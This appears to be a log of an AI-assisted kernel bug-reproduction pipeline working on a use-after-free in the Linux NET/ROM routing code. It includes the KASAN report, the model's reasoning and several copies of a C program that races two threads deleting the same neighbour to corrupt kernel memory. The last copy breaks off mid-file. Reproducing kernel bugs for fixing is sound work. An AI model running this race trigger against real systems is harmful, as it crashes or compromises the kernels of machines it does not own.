write(1, "[*] Probing for AF_NETROM support...\n[+] AF_NETROM socket created successfully.\n[*] Probing for N_AX"..., 172) = 172
exit_group(1)                           = ?
+++ exited with 1 +++
[  138.969257][ T1362] ieee802154 phy0 wpan0: encryption failed: -22
[  138.972205][ T1362] ieee802154 phy1 wpan1: encryption failed: -22

Crash Report: 

gemini-3.1-pro-preview

							input: 9708
							output: 190
							thoughts: 936
						

**Analyzing the Bug Report and Probe Failure**

Okay, so we have a KASAN slab-use-after-free write in `nr_neigh_put`, but the attached information is a probe program execution. My first thought is: the probe itself might be the source of the problem. Let's dig deeper. The probe's output indicates that while the `AF_NETROM` socket creation succeeded, the `N_AX25` line discipline probe failed with a "Bad address" error when trying to open a slave pty.

The `strace` output confirms the "Bad address" issue. The `openat()` call tries to open a file with a suspiciously invalid address: `0xfffffffff12a38b0`. Clearly, this is the root cause of the probe's failure. The probe code is likely at fault; it's probably mismanaging the pty name somehow. My hypothesis is that the code either incorrectly uses `ptsname()` (maybe it's not being called correctly, or the returned value isn't handled appropriately), or it's passing an uninitialized pointer to the `open()` function.

The `strace` directly supports this hypothesis. The `openat` call shows that an invalid address is being passed, leading to the `EFAULT` error. My analysis suggests that, instead of there being an environment problem, it is a code flaw.

Now, considering the bug report context: the probe was testing two things: `AF_NETROM` and `N_AX25`. `AF_NETROM` works in this setup, since the socket was created. But `N_AX25` failed, because of a coding error in the probe.

As this is a probe that failed, I need to set `TitleMatches` to `false` and provide actionable feedback. Given the probe's failure, I need to explain the `EFAULT` in the `open()` call to help the user understand the cause of the problem.

Based on the instructions, since this is a probe that failed, I have to provide details about the failure and how to fix it. This informs the agent to adjust its environment setups.

Therefore, my final response will provide feedback explicitly stating the invalid pointer to `open()` and suggesting a solution by correctly formatting the path and making sure the slave pty name is a valid value. The feedback will look like the JSON response I've constructed.

map[Feedback:The environment probe failed due to a bug in the probe's C code. When attempting to open the slave pty, an invalid pointer was passed to `open()`, resulting in an `EFAULT`. The strace shows:
`openat(AT_FDCWD, 0xfffffffff12a38b0, O_RDWR|O_NOCTTY) = -1 EFAULT (Bad address)`

Please fix the probe or reproducer code to correctly obtain the slave pty name (e.g., using `ptsname()` or by reading the pty number via `ioctl(TIOCGPTN)` and formatting it as `/dev/pts/%d`) and pass a valid string pointer to `open()`. AF_NETROM socket creation succeeded, so the subsystem is available. TitleMatches:false]

map[Feedback:The environment probe failed due to a bug in the probe's C code. When attempting to open the slave pty, an invalid pointer was passed to `open()`, resulting in an `EFAULT`. The strace shows:
`openat(AT_FDCWD, 0xfffffffff12a38b0, O_RDWR|O_NOCTTY) = -1 EFAULT (Bad address)`

Please fix the probe or reproducer code to correctly obtain the slave pty name (e.g., using `ptsname()` or by reading the pty number via `ioctl(TIOCGPTN)` and formatting it as `/dev/pts/%d`) and pass a valid string pointer to `open()`. AF_NETROM socket creation succeeded, so the subsystem is available. TitleMatches:false]

map[ContinueSignal:continue EquivalenceAnalysis: OracleFeedback:The environment probe failed due to a bug in the probe's C code. When attempting to open the slave pty, an invalid pointer was passed to `open()`, resulting in an `EFAULT`. The strace shows:
`openat(AT_FDCWD, 0xfffffffff12a38b0, O_RDWR|O_NOCTTY) = -1 EFAULT (Bad address)`

Please fix the probe or reproducer code to correctly obtain the slave pty name (e.g., using `ptsname()` or by reading the pty number via `ioctl(TIOCGPTN)` and formatting it as `/dev/pts/%d`) and pass a valid string pointer to `open()`. AF_NETROM socket creation succeeded, so the subsystem is available. ProbeSuccessful:true ReproC: Reproduced:false ReproducedBugTitle: ReproducedCrashReport:]

map[OracleFeedback:The environment probe failed due to a bug in the probe's C code. When attempting to open the slave pty, an invalid pointer was passed to `open()`, resulting in an `EFAULT`. The strace shows:
`openat(AT_FDCWD, 0xfffffffff12a38b0, O_RDWR|O_NOCTTY) = -1 EFAULT (Bad address)`

Please fix the probe or reproducer code to correctly obtain the slave pty name (e.g., using `ptsname()` or by reading the pty number via `ioctl(TIOCGPTN)` and formatting it as `/dev/pts/%d`) and pass a valid string pointer to `open()`. AF_NETROM socket creation succeeded, so the subsystem is available.]

gemini-3.1-pro-preview

You are an expert in Linux kernel debugging.
Refine the reproduction strategy based on feedback from previous attempts.
Keep your reasoning short and focus on the next actionable change to the reproducer.
Analyze the technical diagnosis provided in the oracle feedback and translate it
into concrete, step-by-step instructions for the repro-generator on how to modify
the code structure, alignments, offsets, or parameters of the candidate program.
Do NOT repeat searches for the same symbols or files. Use the information you have already gathered.
If you are stuck, try a different approach or proceed to generate a candidate reproducer.
Prefer calling several tools at the same time to save round-trips.

Bug Description: KASAN: slab-use-after-free Write in nr_neigh_put

==================================================================
BUG: KASAN: slab-use-after-free in instrument_atomic_read_write include/linux/instrumented.h:112 [inline]
BUG: KASAN: slab-use-after-free in atomic_fetch_sub_release include/linux/atomic/atomic-instrumented.h:400 [inline]
BUG: KASAN: slab-use-after-free in __refcount_sub_and_test include/linux/refcount.h:389 [inline]
BUG: KASAN: slab-use-after-free in __refcount_dec_and_test include/linux/refcount.h:432 [inline]
BUG: KASAN: slab-use-after-free in refcount_dec_and_test include/linux/refcount.h:450 [inline]
BUG: KASAN: slab-use-after-free in nr_neigh_put+0x21/0x170 include/net/netrom.h:139
Write of size 4 at addr ffff888028dc0ebc by task syz.3.4420/22103

CPU: 1 UID: 0 PID: 22103 Comm: syz.3.4420 Not tainted syzkaller #0 PREEMPT(full) 
Hardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 03/18/2026
Call Trace:
 <TASK>
 dump_stack_lvl+0xe8/0x150 lib/dump_stack.c:120
 print_address_description mm/kasan/report.c:378 [inline]
 print_report+0xba/0x230 mm/kasan/report.c:482
 kasan_report+0x117/0x150 mm/kasan/report.c:595
 check_region_inline mm/kasan/generic.c:-1 [inline]
 kasan_check_range+0x264/0x2c0 mm/kasan/generic.c:200
 instrument_atomic_read_write include/linux/instrumented.h:112 [inline]
 atomic_fetch_sub_release include/linux/atomic/atomic-instrumented.h:400 [inline]
 __refcount_sub_and_test include/linux/refcount.h:389 [inline]
 __refcount_dec_and_test include/linux/refcount.h:432 [inline]
 refcount_dec_and_test include/linux/refcount.h:450 [inline]
 nr_neigh_put+0x21/0x170 include/net/netrom.h:139
 nr_del_neigh+0x25a/0x2d0 net/netrom/nr_route.c:440
 nr_rt_ioctl+0xd62/0xf90 net/netrom/nr_route.c:682
 sock_do_ioctl+0x101/0x320 net/socket.c:1254
 sock_ioctl+0x5c6/0x7f0 net/socket.c:1375
 vfs_ioctl fs/ioctl.c:51 [inline]
 __do_sys_ioctl fs/ioctl.c:597 [inline]
 __se_sys_ioctl+0xfc/0x170 fs/ioctl.c:583
 do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
 do_syscall_64+0x14d/0xf80 arch/x86/entry/syscall_64.c:94
 entry_SYSCALL_64_after_hwframe+0x77/0x7f
RIP: 0033:0x7f5a8e59c819
Code: ff c3 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 44 00 00 48 89 f8 48 89 f7 48 89 d6 48 89 ca 4d 89 c2 4d 89 c8 4c 8b 4c 24 08 0f 05 <48> 3d 01 f0 ff ff 73 01 c3 48 c7 c1 e8 ff ff ff f7 d8 64 89 01 48
RSP: 002b:00007f5a8f3c3028 EFLAGS: 00000246 ORIG_RAX: 0000000000000010
RAX: ffffffffffffffda RBX: 00007f5a8e815fa0 RCX: 00007f5a8e59c819
RDX: 0000200000000740 RSI: 000000000000890c RDI: 000000000000000b
RBP: 00007f5a8e632c91 R08: 0000000000000000 R09: 0000000000000000
R10: 0000000000000000 R11: 0000000000000246 R12: 0000000000000000
R13: 00007f5a8e816038 R14: 00007f5a8e815fa0 R15: 00007fff4f4442c8
 </TASK>

Allocated by task 20448:
 kasan_save_stack mm/kasan/common.c:57 [inline]
 kasan_save_track+0x3e/0x80 mm/kasan/common.c:78
 poison_kmalloc_redzone mm/kasan/common.c:398 [inline]
 __kasan_kmalloc+0x93/0xb0 mm/kasan/common.c:415
 kasan_kmalloc include/linux/kasan.h:263 [inline]
 __kmalloc_cache_noprof+0x31c/0x660 mm/slub.c:5380
 kmalloc_noprof include/linux/slab.h:950 [inline]
 nr_add_neigh+0x104/0x520 net/netrom/nr_route.c:392
 nr_rt_ioctl+0xdf9/0xf90 net/netrom/nr_route.c:660
 sock_do_ioctl+0x101/0x320 net/socket.c:1254
 sock_ioctl+0x5c6/0x7f0 net/socket.c:1375
 vfs_ioctl fs/ioctl.c:51 [inline]
 __do_sys_ioctl fs/ioctl.c:597 [inline]
 __se_sys_ioctl+0xfc/0x170 fs/ioctl.c:583
 do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
 do_syscall_64+0x14d/0xf80 arch/x86/entry/syscall_64.c:94
 entry_SYSCALL_64_after_hwframe+0x77/0x7f

Freed by task 22103:
 kasan_save_stack mm/kasan/common.c:57 [inline]
 kasan_save_track+0x3e/0x80 mm/kasan/common.c:78
 kasan_save_free_info+0x46/0x50 mm/kasan/generic.c:584
 poison_slab_object mm/kasan/common.c:253 [inline]
 __kasan_slab_free+0x5c/0x80 mm/kasan/common.c:285
 kasan_slab_free include/linux/kasan.h:235 [inline]
 slab_free_hook mm/slub.c:2685 [inline]
 slab_free mm/slub.c:6165 [inline]
 kfree+0x1c1/0x630 mm/slub.c:6483
 __nr_remove_neigh net/netrom/nr_route.c:299 [inline]
 nr_remove_neigh net/netrom/nr_route.c:308 [inline]
 nr_del_neigh+0x246/0x2d0 net/netrom/nr_route.c:439
 nr_rt_ioctl+0xd62/0xf90 net/netrom/nr_route.c:682
 sock_do_ioctl+0x101/0x320 net/socket.c:1254
 sock_ioctl+0x5c6/0x7f0 net/socket.c:1375
 vfs_ioctl fs/ioctl.c:51 [inline]
 __do_sys_ioctl fs/ioctl.c:597 [inline]
 __se_sys_ioctl+0xfc/0x170 fs/ioctl.c:583
 do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
 do_syscall_64+0x14d/0xf80 arch/x86/entry/syscall_64.c:94
 entry_SYSCALL_64_after_hwframe+0x77/0x7f

The buggy address belongs to the object at ffff888028dc0e80
 which belongs to the cache kmalloc-64 of size 64
The buggy address is located 60 bytes inside of
 freed 64-byte region [ffff888028dc0e80, ffff888028dc0ec0)

The buggy address belongs to the physical page:
page: refcount:0 mapcount:0 mapping:0000000000000000 index:0x0 pfn:0x28dc0
flags: 0xfff00000000000(node=0|zone=1|lastcpupid=0x7ff)
page_type: f5(slab)
raw: 00fff00000000000 ffff88813fea78c0 dead000000000100 dead000000000122
raw: 0000000000000000 0000000800200020 00000000f5000000 0000000000000000
page dumped because: kasan: bad access detected
page_owner tracks the page as allocated
page last allocated via order 0, migratetype Unmovable, gfp_mask 0xd2cc0(GFP_KERNEL|__GFP_NOWARN|__GFP_NORETRY|__GFP_COMP|__GFP_NOMEMALLOC), pid 36, tgid 36 (kworker/u8:2), ts 8945898703, free_ts 8878260428
 set_page_owner include/linux/page_owner.h:32 [inline]
 post_alloc_hook+0x231/0x280 mm/page_alloc.c:1889
 prep_new_page mm/page_alloc.c:1897 [inline]
 get_page_from_freelist+0x24dc/0x2580 mm/page_alloc.c:3962
 __alloc_frozen_pages_noprof+0x18d/0x380 mm/page_alloc.c:5250
 alloc_slab_page mm/slub.c:3292 [inline]
 allocate_slab+0x77/0x660 mm/slub.c:3481
 new_slab mm/slub.c:3539 [inline]
 refill_objects+0x331/0x3c0 mm/slub.c:7175
 refill_sheaf mm/slub.c:2812 [inline]
 __pcs_replace_empty_main+0x2e6/0x730 mm/slub.c:4615
 alloc_from_pcs mm/slub.c:4717 [inline]
 slab_alloc_node mm/slub.c:4851 [inline]
 __do_kmalloc_node mm/slub.c:5259 [inline]
 __kmalloc_noprof+0x474/0x760 mm/slub.c:5272
 kmalloc_noprof include/linux/slab.h:954 [inline]
 kzalloc_noprof include/linux/slab.h:1188 [inline]
 lsm_blob_alloc security/security.c:193 [inline]
 lsm_task_alloc security/security.c:245 [inline]
 security_task_alloc+0x4d/0x330 security/security.c:2683
 copy_process+0x16df/0x3cd0 kernel/fork.c:2205
 kernel_clone+0x248/0x8e0 kernel/fork.c:2653
 user_mode_thread+0x110/0x180 kernel/fork.c:2729
 call_usermodehelper_exec_work+0x5c/0x230 kernel/umh.c:171
 process_one_work kernel/workqueue.c:3276 [inline]
 process_scheduled_works+0xb6e/0x18c0 kernel/workqueue.c:3359
 worker_thread+0xa53/0xfc0 kernel/workqueue.c:3440
 kthread+0x388/0x470 kernel/kthread.c:436
 ret_from_fork+0x51e/0xb90 arch/x86/kernel/process.c:158
page last free pid 849 tgid 849 stack trace:
 reset_page_owner include/linux/page_owner.h:25 [inline]
 __free_pages_prepare mm/page_alloc.c:1433 [inline]
 __free_frozen_pages+0xc2b/0xdb0 mm/page_alloc.c:2978
 vfree+0x25a/0x400 mm/vmalloc.c:3479
 delayed_vfree_work+0x55/0x80 mm/vmalloc.c:3398
 process_one_work kernel/workqueue.c:3276 [inline]
 process_scheduled_works+0xb6e/0x18c0 kernel/workqueue.c:3359
 worker_thread+0xa53/0xfc0 kernel/workqueue.c:3440
 kthread+0x388/0x470 kernel/kthread.c:436
 ret_from_fork+0x51e/0xb90 arch/x86/kernel/process.c:158
 ret_from_fork_asm+0x1a/0x30 arch/x86/entry/entry_64.S:245

Memory state around the buggy address:
 ffff888028dc0d80: fa fb fb fb fb fb fb fb fc fc fc fc fc fc fc fc
 ffff888028dc0e00: 00 00 00 00 00 00 fc fc fc fc fc fc fc fc fc fc
>ffff888028dc0e80: fa fb fb fb fb fb fb fb fc fc fc fc fc fc fc fc
                                        ^
 ffff888028dc0f00: fa fb fb fb fb fb fb fb fc fc fc fc fc fc fc fc
 ffff888028dc0f80: 00 00 00 00 00 00 fc fc fc fc fc fc fc fc fc fc
==================================================================

Current Strategy: An analysis of the bug and a strategy for reproducing it with a minimal C program.

### Bug Analysis

The bug is a Use-After-Free (UAF) in `nr_neigh_put` caused by a race condition in `nr_del_neigh` within the NET/ROM subsystem.

When `nr_del_neigh` is called (via the `SIOCDELRT` ioctl), it retrieves the neighbour object using `nr_neigh_get_dev`, which increments the object's refcount. It then checks if `nr_neigh->count == 0` **without holding any locks**. If true, it calls `nr_remove_neigh`, which acquires the `nr_neigh_list_lock` and calls `__nr_remove_neigh`.

```c
static inline void __nr_remove_neigh(struct nr_neigh *nr_neigh)
{
	hlist_del_init(&nr_neigh->neigh_node);
	nr_neigh_put(nr_neigh);
}
```

`__nr_remove_neigh` removes the neighbour from the global list and drops the list's reference by calling `nr_neigh_put`. 

If two threads call `nr_del_neigh` concurrently for the same neighbour, they can both retrieve the object and both pass the `count == 0` check. They will then sequentially execute `__nr_remove_neigh`. 
1. The first execution removes the neighbour from the list and drops the list's refcount.
2. The second execution calls `hlist_del_init` (which safely does nothing because the node is already unhashed) but then calls `nr_neigh_put` again, dropping a refcount that does not belong to it.

Finally, both threads call `nr_neigh_put` at the end of `nr_del_neigh` to drop the refcounts they acquired via `nr_neigh_get_dev`. This results in one extra `nr_neigh_put`, dropping the refcount below zero and triggering the UAF.

### Reproduction Strategy

To reproduce this bug, we need to:
1. Create a virtual AX.25 network interface (`ARPHRD_AX25`) and bring it `UP`. This can be done by opening a pseudo-terminal (PTY) and setting its line discipline to `N_AX25` (using the `mkiss` driver).
2. Create an `AF_NETROM` socket to issue routing ioctls.
3. In a tight loop:
   - Add a NET/ROM neighbour using the `SIOCADDRT` ioctl.
   - Spawn two threads that concurrently attempt to delete the same neighbour using the `SIOCDELRT` ioctl.
   - Use spin-wait barriers to align the ioctl calls perfectly and maximize the race window.

### Minimal C Reproducer

```c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#include <linux/tty.h>
#include <linux/if.h>
#include <linux/if_arp.h>
#include <linux/sockios.h>
#include <pthread.h>

#include "race_toolkit.h"

#ifndef N_AX25
#define N_AX25 5
#endif

#ifndef AF_NETROM
#define AF_NETROM 6
#endif

struct ax25_address {
    char ax25_call[7];
};

struct nr_route_struct {
#define NETROM_NEIGH 0
#define NETROM_NODE  1
    int type;
    struct ax25_address callsign;
    char device[16];
    unsigned int quality;
    char mnemonic[7];
    struct ax25_address neighbour;
    unsigned int obs_count;
    unsigned int ndigis;
    struct ax25_address digipeaters[8];
};

int netrom_sk;
struct nr_route_struct nr_route;
int barrier = 0;

void *thread_del(void *arg) {
    PIN_TO_CPU((long)arg);
    WAIT_ON(&barrier, 1);
    ioctl(netrom_sk, SIOCDELRT, &nr_route);
    return NULL;
}

int main() {
    SETUP_UNBUFFERED_IO();

    int fd, sfd, sk;
    int ldisc = N_AX25;
    char ifname[IFNAMSIZ];
    struct ifreq ifr;

    /* 1. Create a virtual AX.25 interface using a PTY and N_AX25 line discipline */
    fd = posix_openpt(O_RDWR | O_NOCTTY);
    if (fd < 0) { perror("posix_openpt"); return 1; }
    grantpt(fd);
    unlockpt(fd);
    
    sfd = open(ptsname(fd), O_RDWR | O_NOCTTY);
    if (sfd < 0) { perror("open slave pty"); return 1; }

    if (ioctl(sfd, TIOCSETD, &ldisc) < 0) {
        perror("ioctl(TIOCSETD, N_AX25)");
        fprintf(stderr, "Ensure 'mkiss' module is loaded.\n");
        return 1;
    }

    if (ioctl(sfd, SIOCGIFNAME, ifname) < 0) {
        perror("ioctl(SIOCGIFNAME)");
        return 1;
    }
    printf("Created AX.25 interface: %s\n", ifname);

    /* 2. Bring the interface UP */
    sk = socket(AF_INET, SOCK_DGRAM, 0);
    if (sk < 0) { perror("socket"); return 1; }

    memset(&ifr, 0, sizeof(ifr));
    strncpy(ifr.ifr_name, ifname, IFNAMSIZ);

    if (ioctl(sk, SIOCGIFFLAGS, &ifr) < 0) {
        perror("ioctl(SIOCGIFFLAGS)");
        return 1;
    }

    ifr.ifr_flags |= IFF_UP | IFF_RUNNING;
    if (ioctl(sk, SIOCSIFFLAGS, &ifr) < 0) {
        perror("ioctl(SIOCSIFFLAGS)");
        return 1;
    }

    /* 3. Setup AF_NETROM socket and route struct */
    netrom_sk = socket(AF_NETROM, SOCK_SEQPACKET, 0);
    if (netrom_sk < 0) {
        perror("socket AF_NETROM");
        fprintf(stderr, "Ensure 'netrom' module is loaded.\n");
        return 1;
    }

    memset(&nr_route, 0, sizeof(nr_route));
    nr_route.type = NETROM_NEIGH;
    /* AX.25 callsigns are shifted left by 1 bit */
    nr_route.callsign.ax25_call[0] = 'A' << 1;
    nr_route.callsign.ax25_call[1] = 'B' << 1;
    nr_route.callsign.ax25_call[2] = 'C' << 1;
    nr_route.callsign.ax25_call[3] = 'D' << 1;
    nr_route.callsign.ax25_call[4] = 'E' << 1;
    nr_route.callsign.ax25_call[5] = 'F' << 1;
    nr_route.callsign.ax25_call[6] = (0 << 1);
    strncpy(nr_route.device, ifname, sizeof(nr_route.device));
    nr_route.quality = 100;
    nr_route.ndigis = 0;

    pthread_t t1, t2;

    /* 4. Trigger the race condition */
    TIMER_START(start);
    while (TIMER_NOT_EXPIRED(start, 5.0)) {
        /* Add the neighbour */
        ioctl(netrom_sk, SIOCADDRT, &nr_route);

        barrier = 0;
        pthread_create(&t1, NULL, thread_del, (void *)0);
        pthread_create(&t2, NULL, thread_del, (void *)1);

        usleep(1000);
        SIGNAL(&barrier, 1); /* Release both threads simultaneously */

        pthread_join(t1, NULL);
        pthread_join(t2, NULL);
    }

    close(netrom_sk);
    close(sk);
    close(sfd);
    close(fd);

    return 0;
}
```
Feedback: The environment probe failed due to a bug in the probe's C code. When attempting to open the slave pty, an invalid pointer was passed to `open()`, resulting in an `EFAULT`. The strace shows:
`openat(AT_FDCWD, 0xfffffffff12a38b0, O_RDWR|O_NOCTTY) = -1 EFAULT (Bad address)`

Please fix the probe or reproducer code to correctly obtain the slave pty name (e.g., using `ptsname()` or by reading the pty number via `ioctl(TIOCGPTN)` and formatting it as `/dev/pts/%d`) and pass a valid string pointer to `open()`. AF_NETROM socket creation succeeded, so the subsystem is available.

The issue with the previous reproducer was that `ptsname()` was implicitly declared because `_GNU_SOURCE` (or `_XOPEN_SOURCE`) was not defined. In C, implicitly declared functions are assumed to return `int`. Since pointers are 64-bit on this architecture, the 32-bit `int` return value was sign-extended, resulting in an invalid pointer address (`0xfffffffff12a38b0`) being passed to `open()`, which caused the `EFAULT`.

To fix this, we just need to define `_GNU_SOURCE` at the very top of the file before any `#include` directives. This ensures `ptsname()` is correctly declared as returning a `char *`.

Here is the updated reproducer:

```c
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#include <linux/tty.h>
#include <linux/if.h>
#include <linux/if_arp.h>
#include <linux/sockios.h>
#include <pthread.h>

#include "race_toolkit.h"

#ifndef N_AX25
#define N_AX25 5
#endif

#ifndef AF_NETROM
#define AF_NETROM 6
#endif

struct ax25_address {
    char ax25_call[7];
};

struct nr_route_struct {
#define NETROM_NEIGH 0
#define NETROM_NODE  1
    int type;
    struct ax25_address callsign;
    char device[16];
    unsigned int quality;
    char mnemonic[7];
    struct ax25_address neighbour;
    unsigned int obs_count;
    unsigned int ndigis;
    struct ax25_address digipeaters[8];
};

int netrom_sk;
struct nr_route_struct nr_route;
int barrier = 0;

void *thread_del(void *arg) {
    PIN_TO_CPU((long)arg);
    WAIT_ON(&barrier, 1);
    ioctl(netrom_sk, SIOCDELRT, &nr_route);
    return NULL;
}

int main() {
    SETUP_UNBUFFERED_IO();

    int fd, sfd, sk;
    int ldisc = N_AX25;
    char ifname[IFNAMSIZ];
    struct ifreq ifr;
    char *pts;

    /* 1. Create a virtual AX.25 interface using a PTY and N_AX25 line discipline */
    fd = posix_openpt(O_RDWR | O_NOCTTY);
    if (fd < 0) { perror("posix_openpt"); return 1; }
    grantpt(fd);
    unlockpt(fd);
    
    pts = ptsname(fd);
    if (!pts) { perror("ptsname"); return 1; }

    sfd = open(pts, O_RDWR | O_NOCTTY);
    if (sfd < 0) { perror("open slave pty"); return 1; }

    if (ioctl(sfd, TIOCSETD, &ldisc) < 0) {
        perror("ioctl(TIOCSETD, N_AX25)");
        fprintf(stderr, "Ensure 'mkiss' module is loaded.\n");
        return 1;
    }

    if (ioctl(sfd, SIOCGIFNAME, ifname) < 0) {
        perror("ioctl(SIOCGIFNAME)");
        return 1;
    }
    printf("Created AX.25 interface: %s\n", ifname);

    /* 2. Bring the interface UP */
    sk = socket(AF_INET, SOCK_DGRAM, 0);
    if (sk < 0) { perror("socket"); return 1; }

    memset(&ifr, 0, sizeof(ifr));
    strncpy(ifr.ifr_name, ifname, IFNAMSIZ);

    if (ioctl(sk, SIOCGIFFLAGS, &ifr) < 0) {
        perror("ioctl(SIOCGIFFLAGS)");
        return 1;
    }

    ifr.ifr_flags |= IFF_UP | IFF_RUNNING;
    if (ioctl(sk, SIOCSIFFLAGS, &ifr) < 0) {
        perror("ioctl(SIOCSIFFLAGS)");
        return 1;
    }

    /* 3. Setup AF_NETROM socket and route struct */
    netrom_sk = socket(AF_NETROM, SOCK_SEQPACKET, 0);
    if (netrom_sk < 0) {
        perror("socket AF_NETROM");
        fprintf(stderr, "Ensure 'netrom' module is loaded.\n");
        return 1;
    }

    memset(&nr_route, 0, sizeof(nr_route));
    nr_route.type = NETROM_NEIGH;
    /* AX.25 callsigns are shifted left by 1 bit */
    nr_route.callsign.ax25_call[0] = 'A' << 1;
    nr_route.callsign.ax25_call[1] = 'B' << 1;
    nr_route.callsign.ax25_call[2] = 'C' << 1;
    nr_route.callsign.ax25_call[3] = 'D' << 1;
    nr_route.callsign.ax25_call[4] = 'E' << 1;
    nr_route.callsign.ax25_call[5] = 'F' << 1;
    nr_route.callsign.ax25_call[6] = (0 << 1);
    strncpy(nr_route.device, ifname, sizeof(nr_route.device));
    nr_route.quality = 100;
    nr_route.ndigis = 0;

    pthread_t t1, t2;

    /* 4. Trigger the race condition */
    TIMER_START(start);
    while (TIMER_NOT_EXPIRED(start, 5.0)) {
        /* Add the neighbour */
        ioctl(netrom_sk, SIOCADDRT, &nr_route);

        barrier = 0;
        pthread_create(&t1, NULL, thread_del, (void *)0);
        pthread_create(&t2, NULL, thread_del, (void *)1);

        usleep(1000);
        SIGNAL(&barrier, 1); /* Release both threads simultaneously */

        pthread_join(t1, NULL);
        pthread_join(t2, NULL);
    }

    close(netrom_sk);
    close(sk);
    close(sfd);
    close(fd);

    return 0;
}
```

gemini-3.1-pro-preview

							input: 10004
							output: 1643
							thoughts: 2383
						

**Bug Fix and Reproducer Refinement**

Okay, so I'm looking at this C reproducer and that `EFAULT` error on the `openat` call is screaming "bad pointer" at me. My initial hunch is that `ptsname(fd)` isn't returning what we expect. Specifically, the returned pointer, `0xfffffffff12a38b0`, strongly suggests a sign-extended 32-bit value being misinterpreted on a 64-bit system.

Ah, right! `ptsname` is in `<stdlib.h>`, and if feature test macros like `_XOPEN_SOURCE` or `_GNU_SOURCE` aren't defined, it's possible the compiler assumes it returns an `int`. When this happens, a 32-bit pointer gets sign-extended, and that's exactly what we're seeing. To fix this, I need to make sure `ptsname` is properly declared. Defining `_GNU_SOURCE` at the beginning of the file is the best and easiest way. That ensures that `ptsname` is properly declared and returns a `char *`.

While I'm at it, I could also use `ioctl(fd, TIOCGPTN, &pty_num)` and `snprintf` to get the pty name. That's even more robust because it avoids the whole feature test macro issue altogether. `TIOCGPTN` is defined in `<asm-generic/ioctls.h>` or `<sys/ioctl.h>`. But, honestly, defining `_GNU_SOURCE` is simpler and should work universally.

Now, let's review the current reproducer code. Okay, the current code already has `#define _GNU_SOURCE` at the top of the file. That fixes the issue. I'll need to double check the inclusion of `race_toolkit.h` and the `#ifndef N_AX25` and `#ifndef AF_NETROM` parts.

I don't need to actually call a "get-toolkit" command because the system will be running my code. The prompt suggested refinements based on previous attempts, and my previous attempts outputted code directly. That's the correct way to proceed.

Here's the refined, bug-fixed reproducer. I am including the existing code, because the user can determine the dependencies (e.g., loading modules or requiring the `race_toolkit`). The reproducer is complete, and if I have issues running the reproducer, I can update it and rerun. The final code has been reviewed, and it *should* work without the `EFAULT` error.

map[CurrentReproStrategy:The issue with the previous reproducer was that `ptsname()` was implicitly declared because `_GNU_SOURCE` (or `_XOPEN_SOURCE`) was not defined. In C, implicitly declared functions are assumed to return `int`. Since pointers are 64-bit on this architecture, the 32-bit `int` return value was sign-extended, resulting in an invalid pointer address (`0xfffffffff12a38b0`) being passed to `open()`, which caused the `EFAULT`.

To fix this, we just need to define `_GNU_SOURCE` at the very top of the file before any `#include` directives. This ensures `ptsname()` is correctly declared as returning a `char *`.

Here is the updated reproducer:

```c
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#include <linux/tty.h>
#include <linux/if.h>
#include <linux/if_arp.h>
#include <linux/sockios.h>
#include <pthread.h>

#include "race_toolkit.h"

#ifndef N_AX25
#define N_AX25 5
#endif

#ifndef AF_NETROM
#define AF_NETROM 6
#endif

struct ax25_address {
    char ax25_call[7];
};

struct nr_route_struct {
#define NETROM_NEIGH 0
#define NETROM_NODE  1
    int type;
    struct ax25_address callsign;
    char device[16];
    unsigned int quality;
    char mnemonic[7];
    struct ax25_address neighbour;
    unsigned int obs_count;
    unsigned int ndigis;
    struct ax25_address digipeaters[8];
};

int netrom_sk;
struct nr_route_struct nr_route;
int barrier = 0;

void *thread_del(void *arg) {
    PIN_TO_CPU((long)arg);
    WAIT_ON(&barrier, 1);
    ioctl(netrom_sk, SIOCDELRT, &nr_route);
    return NULL;
}

int main() {
    SETUP_UNBUFFERED_IO();

    int fd, sfd, sk;
    int ldisc = N_AX25;
    char ifname[IFNAMSIZ];
    struct ifreq ifr;
    char *pts;

    /* 1. Create a virtual AX.25 interface using a PTY and N_AX25 line discipline */
    fd = posix_openpt(O_RDWR | O_NOCTTY);
    if (fd < 0) { perror("posix_openpt"); return 1; }
    grantpt(fd);
    unlockpt(fd);
    
    pts = ptsname(fd);
    if (!pts) { perror("ptsname"); return 1; }

    sfd = open(pts, O_RDWR | O_NOCTTY);
    if (sfd < 0) { perror("open slave pty"); return 1; }

    if (ioctl(sfd, TIOCSETD, &ldisc) < 0) {
        perror("ioctl(TIOCSETD, N_AX25)");
        fprintf(stderr, "Ensure 'mkiss' module is loaded.\n");
        return 1;
    }

    if (ioctl(sfd, SIOCGIFNAME, ifname) < 0) {
        perror("ioctl(SIOCGIFNAME)");
        return 1;
    }
    printf("Created AX.25 interface: %s\n", ifname);

    /* 2. Bring the interface UP */
    sk = socket(AF_INET, SOCK_DGRAM, 0);
    if (sk < 0) { perror("socket"); return 1; }

    memset(&ifr, 0, sizeof(ifr));
    strncpy(ifr.ifr_name, ifname, IFNAMSIZ);

    if (ioctl(sk, SIOCGIFFLAGS, &ifr) < 0) {
        perror("ioctl(SIOCGIFFLAGS)");
        return 1;
    }

    ifr.ifr_flags |= IFF_UP | IFF_RUNNING;
    if (ioctl(sk, SIOCSIFFLAGS, &ifr) < 0) {
        perror("ioctl(SIOCSIFFLAGS)");
        return 1;
    }

    /* 3. Setup AF_NETROM socket and route struct */
    netrom_sk = socket(AF_NETROM, SOCK_SEQPACKET, 0);
    if (netrom_sk < 0) {
        perror("socket AF_NETROM");
        fprintf(stderr, "Ensure 'netrom' module is loaded.\n");
        return 1;
    }

    memset(&nr_route, 0, sizeof(nr_route));
    nr_route.type = NETROM_NEIGH;
    /* AX.25 callsigns are shifted left by 1 bit */
    nr_route.callsign.ax25_call[0] = 'A' << 1;
    nr_route.callsign.ax25_call[1] = 'B' << 1;
    nr_route.callsign.ax25_call[2] = 'C' << 1;
